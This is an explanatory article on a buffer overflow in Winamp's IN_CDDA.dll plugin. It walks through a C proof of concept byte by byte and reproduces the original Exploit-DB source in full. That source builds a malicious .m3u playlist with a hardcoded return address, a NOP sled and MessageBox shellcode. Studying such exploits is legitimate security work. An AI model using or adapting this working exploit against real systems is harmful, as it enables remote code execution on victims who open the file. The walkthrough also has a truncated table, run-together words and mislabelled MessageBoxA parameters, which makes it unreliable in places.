Winamp 5.06 'IN_CDDA.dll' Remote Buffer Overflow Explained

Winamp 5.06 'IN_CDDA.dll' Remote Buffer Overflow Explained
What this paper is
This paper details a buffer overflow vulnerability in the IN_CDDA.dll plugin for Winamp version 5.06. The vulnerability allows for remote code execution by crafting a malicious .m3u playlist file. When Winamp attempts to parse this file, the overflow occurs, leading to the execution of attacker-controlled shellcode.
Simple technical breakdown
The core of the vulnerability lies in how Winamp's IN_CDDA.dll plugin handles filenames within .m3u files. Specifically, when processing entries that are supposed to represent CD audio tracks (indicated by a .cda extension), the plugin allocates only 20 bytes for the filename.
If an attacker provides a filename longer than 20 bytes, and it doesn't contain a . character within those first 20 bytes (excluding the .cda extension itself), the plugin will attempt to copy this long filename into the fixed-size buffer on the stack. This copy operation will overflow the buffer, overwriting adjacent memory on the stack.
By carefully crafting the overflowing data, an attacker can overwrite the return address on the stack. When the vulnerable function returns, instead of returning to its legitimate caller, it will jump to an address controlled by the attacker, which can be the location of their shellcode.
The exploit uses a .m3u file to trigger this. The file contains a specially crafted string that starts with padding, followed by the address where the shellcode is located, then more padding (NOP sled), and finally the shellcode itself, ending with the .cda extension.
Complete code and payload walkthrough
The provided C code generates a malicious .m3u file. Let's break down the key components:
Code Fragment: char shellcode[] = "C:\\1234567890ab" ... ".cda\n\r";
This is the heart of the exploit payload. It's a C-style string that will be written into the test.m3u file.
"C:\\1234567890ab": This is the initial padding. It's designed to fill up the 20-byte buffer allocated by the vulnerable function and start overwriting the stack. The\\is an escape sequence for a literal backslash."\x5b\x35\x02\x10": This is the Return Address. It's the address in memory where the attacker wants the program to jump after the overflow. In this specific exploit, it's hardcoded as0x1002355b. This address is expected to point to the beginning of the shellcode within thein_cdda.dllmodule. The bytes are in little-endian format, so\x5b\x35\x02\x10represents0x1002355b."\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90": This is a NOP sled (No Operation). These are0x90bytes, which do nothing but advance the instruction pointer. The purpose of a NOP sled is to increase the chances of hitting the shellcode. If the return address is slightly off, the execution will slide down the NOPs until it reaches the actual shellcode."\xB8\x75\xC1\xe4\x88": This is the start of the actual Shellcode.\xB8: This is theMOV EAX, imm32instruction. It loads an immediate 32-bit value into the EAX register.\x75\xC1\xe4\x88: This is the immediate value. In little-endian, it's0x88e4c175. The comment in the source suggests this isMessageBoxA + 0x11111111. This is a common technique to obfuscate API addresses. The shellcode will later subtract0x11111111to get the actualMessageBoxAaddress.
"\x2D\x11\x11\x11\x11": This is theSUB EAX, imm32instruction.\x2D: This is the opcode forSUB EAX, imm32.\x11\x11\x11\x11: This is the immediate value0x11111111. When subtracted from0x88e4c175, it results in0x77d3b064, which is the address ofMessageBoxAon Windows XP SP2.
"\x50":PUSH EAX. Pushes the calculated address ofMessageBoxAonto the stack."\x59":POP ECX. Pops the value from the stack into ECX. Now ECX holds the address ofMessageBoxA."\x33\xc0":XOR EAX, EAX. Sets EAX to zero. This is often used to push a null terminator or a null pointer."\x50":PUSH EAX. Pushes the null value (from EAX) onto the stack. This will be used as theuTypeparameter forMessageBoxA(which is 0 for MB_OK)."\x68\x42\x6f\x6f\x6d":PUSH imm32. Pushes the string "Boom" onto the stack.\x68: Opcode forPUSH imm32.\x42\x6f\x6f\x6d: The string "Boom" in little-endian ASCII.0x6d6f6f42is "Boom" reversed.
"\x54":PUSH ESP. Pushes the current value of the stack pointer (ESP) onto the stack. At this point, ESP points to the beginning of the string "Boom". This effectively pushes the address of the string "Boom" onto the stack."\x5a":POP EDX. Pops the address of the string "Boom" from the stack into EDX. Now EDX holds the pointer to the message string."\x50":PUSH EAX. Pushes another null value onto the stack. This will be used as thehOwnerparameter forMessageBoxA(NULL)."\x50":PUSH EAX. Pushes another null value onto the stack. This will be used as thelpCaptionparameter forMessageBoxA(NULL)."\x52":PUSH EDX. Pushes the address of the message string (from EDX) onto the stack. This is thelpTextparameter forMessageBoxA."\x50":PUSH EAX. Pushes another null value onto the stack. This will be used as thehOwnerparameter forMessageBoxA(NULL)."\x53":PUSH EBX. Pushes the value of EBX onto the stack. The comment says "Return address: 0x00000000". This is likely a placeholder or an intended null return address if the shellcode were more complex. In this simple case, it's not strictly necessary for theMessageBoxAcall itself."\x51":PUSH ECX. Pushes the address ofMessageBoxA(from ECX) onto the stack. This is the function pointer to be called."\xc3":RETN. Returns from the current procedure. Since the top of the stack now contains the address ofMessageBoxA, thisRETNinstruction effectively callsMessageBoxA.".cda\n\r": This is the.cdaextension required by the plugin to identify it as a CD audio track, followed by a newline and carriage return.
Code Fragment: int main(int argc, char* argv[]) { ... }
This is the C main function that orchestrates the creation of the malicious .m3u file.
#include <stdio.h>: Includes the standard input/output library for file operations.char *sc=(char *)malloc(sizeof(shellcode)+1);: Allocates memory on the heap to hold theshellcodestring.sizeof(shellcode)includes the null terminator, so+1is technically redundant ifsizeofis used correctly for strings, but it ensures enough space.printf(...): Prints informational messages about the exploit, including the vulnerability details, author, and tested Winamp version.if (sc == NULL) { ... }: Error handling for memory allocation failure.memset(sc,'\0',sizeof(sc));: Initializes the allocated memory with null bytes. This is good practice, thoughmemcpywill overwrite it.memcpy(sc, shellcode, sizeof(shellcode) );: Copies the actual payload string into the allocated buffersc.fp = fopen ("test.m3u","w+");: Opens a file namedtest.m3uin write mode (w+). If the file exists, its contents are truncated; otherwise, it's created.if (!fp) { ... }: Error handling for file opening failure.fwrite (HEADER, 1, strlen (HEADER), fp);: Writes theHEADERstring (#EXTM3U\n) to thetest.m3ufile. This is a standard header for M3U files.fwrite (sc , 1, strlen(sc) , fp);: Writes the craftedshellcodestring (which includes padding, return address, NOPs, and the actual shellcode) to thetest.m3ufile.fclose (fp);: Closes thetest.m3ufile, ensuring all data is written.printf ("file test.m3u created. Just double click it.\n");: Informs the user that the exploit file has been created and how to trigger it.return 0;: Indicates successful execution of the program.
Mapping: Code Fragment -> Practical Purpose
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/*
Credits go to the author
How to fix and study the bug:
* - The cdda library only reserves 20 bytes for names when files are "*.cda"
* - run Winamp with ollye
* - when loaded locate and break at:
10009BBB 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20]
10009BBF 84C0 TEST AL,AL
10009BC1 74 0F JE SHORT in_cdda.10009BD2
10009BC3 3C 2E CMP AL,2E
10009BC5 74 0B JE SHORT in_cdda.10009BD2
that code copies and overwrites the stack if no '.' is found in the
first 20 bytes of the m3u entry. Entry must not have #EXTINF data or
it won't resolve.
* - name that entry like "C:\\1234567890abXXXX.cda" and xxxx will be your return address.
stack will be overwritten and exception occurs. When going out of that exception you'll be launched to padding.
* - look for .data section of in_cdda.dll and locate the shellcode or string, and update if needed the
field Location of shellcode (see host info). In my case it's x1002355b.
*/
#include <stdio.h> //File ops.
//m3u File format
//http://hanna.pyxidis.org/tech/m3u.html
// Host info:
// Name=ntdll (system)
// File version=5.1.2600.1217 (xpsp2.030429-213)
// Path=H:\WINDOWS\System32\ntdll.dll
// Name=in_cdda
// Base=10000000
// Size=00031000 (200704.)
// Entry=1000CE1A in_cdda.<ModuleEntryPoint>
// Path=H:\Archivos de programa\Winamp\Plugins\in_cdda.dll
#define HEADER "#EXTM3U\n"
//Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213
//Address of MessageBoxA in xpsp2.030429-213: 77D3b064
char shellcode[]=
"C:\\1234567890ab" //Padding
"\x5b\x35\x02\x10" //Location of shellcode : +-x10 bytes
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68\x42\x6f"
"\x6f\x6d\x54\x5a\x50\x50\x52\x50\x53\x51\xc3.cda\n\r";
//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 61616161 PUSH 6d6f6f42 ; Create string.
//54 PUSH ESP ; Get the offset to the
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//50 PUSH EAX ; Null Pointer
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump
int main(int argc, char* argv[]) {
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);
printf ("winamp 5.x m3u parsing poc - advisorie by Brett Moore\n");
printf ("Exploit : www.k-otik.com/exploits/20041124.winampm3u.c\n");
printf ("Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213\n");
printf ("Address of MessageBoxA in xpsp2.030429-213: 77D3b064\n");
printf ("Tested on Winamp 5.02\n\n");
if (sc == NULL) {
printf ("malloc error\n");
return -1;
}
memset(sc,'\0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );
fp = fopen ("test.m3u","w+");
if (!fp) {
printf (" error opening file.\n");
return -1;
}
fwrite (HEADER, 1, strlen (HEADER), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);
printf ("file test.m3u created. Just double click it.\n");
return 0;
}
// milw0rm.com [2004-11-24]